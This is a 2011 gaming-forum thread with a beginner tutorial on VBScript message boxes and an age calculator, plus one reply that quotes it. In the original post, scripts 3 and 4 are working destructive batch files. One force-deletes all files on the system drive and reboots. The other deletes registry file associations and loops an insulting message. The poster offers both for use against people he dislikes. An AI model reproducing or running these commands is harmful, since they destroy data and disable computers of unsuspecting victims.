Post: Simple vbs scripts (TUTORIAL)
03-22-2011, 01:14 AM #1
Sloth
Banned
(adsbygoogle = window.adsbygoogle || []).push({}); This tutorial was requested by both Troll and !bananaman!

If you do not have a windows computer or a Mac crossover or vm please do not waste your time reading this and go make a app. :carling:

Ok this is going to be short as I am writing on my touch due to my laptop being broken.

Needed:
Notepad.exe
The ability to read English

Ok the first script is a simple box which pops up with a message, here is the code.

Message box:

    Do

Msgbox ("enter message here")
Msgbox ("enter message here")


NOTE: you can create as many messages as you want.

Now save as filename.vbs
Then run it.

You can also make the messages loop without stopping by putting loop at the end e.g.

    Do

Msgbox ("enter message here")
Msgbox ("enter message here")
Loop


IMPORTANT: to end the message box you cam either log off, shutdown or restart or you could open up taskmanager and go to processes and end wscript.

I have a story about this if you just want to see the rest if the tutorial just skip in otherwise read here:

I was at school year 8 (England) I was in a ICT lesson and I was making some if these messageboxes with loops to entertain my friends I wrote both rude an normal ones.
But one ICT lesson I was writing one while about five of my friends where crowding round me, I was writing about how the C:\ Drive had been wiped and was about to put the word "Vagina" when my teacher came to inspect what the reason for the crowd around me was and he saw my computer screen and sent me out.
I stood outside for 10 minutes then he came out and asked me what it was and I told him it was a message box, and then he said whas a message box and I just said nevermind at that point completely astounded then he decided not to report me and let me off Happy

Second script
This Second script will tell you how old you will be after X amount of years i tell you how to change the number to X.

The code is here:

    WScript.Echo "Hello!"

Set WshShell = WScript.CreateObject("WScript.Shell")
age = InputBox("Please type your age.")

newage = age + X
WshShell.Popup "In X years, you will be " & newage & "."


Know to change the X amount of years Just replace the X with whatever you want e.g 21
Remember to change both X's.

To Change welcome messgae just delete the hello! and put your own message.

Script 3

This first once causes you to get the blue screen of death. and might have to reinstall windows!!
    @echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


Script 4

The second one is the most dangerous one never use it unless you really hate the person, this one deletes your registry files completely destroying the computer:

    @ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE


I WILL PLACE MORE SCRIPTS IN WHEN I RECIEVE MY COMPUTER (hopefully before then end if this month) thank you for your patience
Know go :carling: some people with this


If you know any scripts please pm them to me don't post them in comments I will make sure to add them to the thread and I will include credit to you and ask if they want to rep for that rep you.
(adsbygoogle = window.adsbygoogle || []).push({});

The following user thanked Sloth for this useful post:

tylerallmighty
04-13-2011, 07:53 PM #11
oToxicity
I’m too L33T
Originally posted by Cookiemonstaz View Post
This tutorial was requested by both Troll and !bananaman!

If you do not have a windows computer or a Mac crossover or vm please do not waste your time reading this and go make a app. :carling:

Ok this is going to be short as I am writing on my touch due to my laptop being broken.

Needed:
Notepad.exe
The ability to read English

Ok the first script is a simple box which pops up with a message, here is the code.

Message box:

Do

Msgbox ("enter message here")
Msgbox ("enter message here")

NOTE: you can create as many messages as you want.

Now save as filename.vbs
Then run it.

You can also make the messages loop without stopping by putting loop at the end e.g.

Do

Msgbox ("enter message here")
Msgbox ("enter message here")
Loop

IMPORTANT: to end the message box you cam either log off, shutdown or restart or you could open up taskmanager and go to processes and end wscript.

I have a story about this if you just want to see the rest if the tutorial just skip in otherwise read here:

I was at school year 8 (England) I was in a ICT lesson and I was making some if these messageboxes with loops to entertain my friends I wrote both rude an normal ones.
But one ICT lesson I was writing one while about five of my friends where crowding round me, I was writing about how the C:\ Drive had been wiped and was about to put the word "Vagina" when my teacher came to inspect what the reason for the crowd around me was and he saw my computer screen and sent me out.
I stood outside for 10 minutes then he came out and asked me what it was and I told him it was a message box, and then he said whas a message box and I just said nevermind at that point completely astounded then he decided not to report me and let me off Happy

Second script
This Second script will tell you how old you will be after X amount of years i tell you how to change the number to X.

The code is here:

WScript.Echo "Hello!"

Set WshShell = WScript.CreateObject("WScript.Shell")
age = InputBox("Please type your age.")

newage = age + X
WshShell.Popup "In X years, you will be " & newage & "."

Know to change the X amount of years Just replace the X with whatever you want e.g 21
Remember to change both X's.

To Change welcome messgae just delete the hello! and put your own message.

Script 3 Coming soon

I WILL PLACE MORE SCRIPTS IN WHEN I RECIEVE MY COMPUTER (hopefully before then end if this month) thank you for your patience
Know go :carling: some people with this


If you know any scripts please pm them to me don't post them in comments I will make sure to add them to the thread and I will include credit to you and ask if they want to rep for that rep you.


Can you put the code in
    code tags
please? It would make it a lot easier to read, and nice thread :y:

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo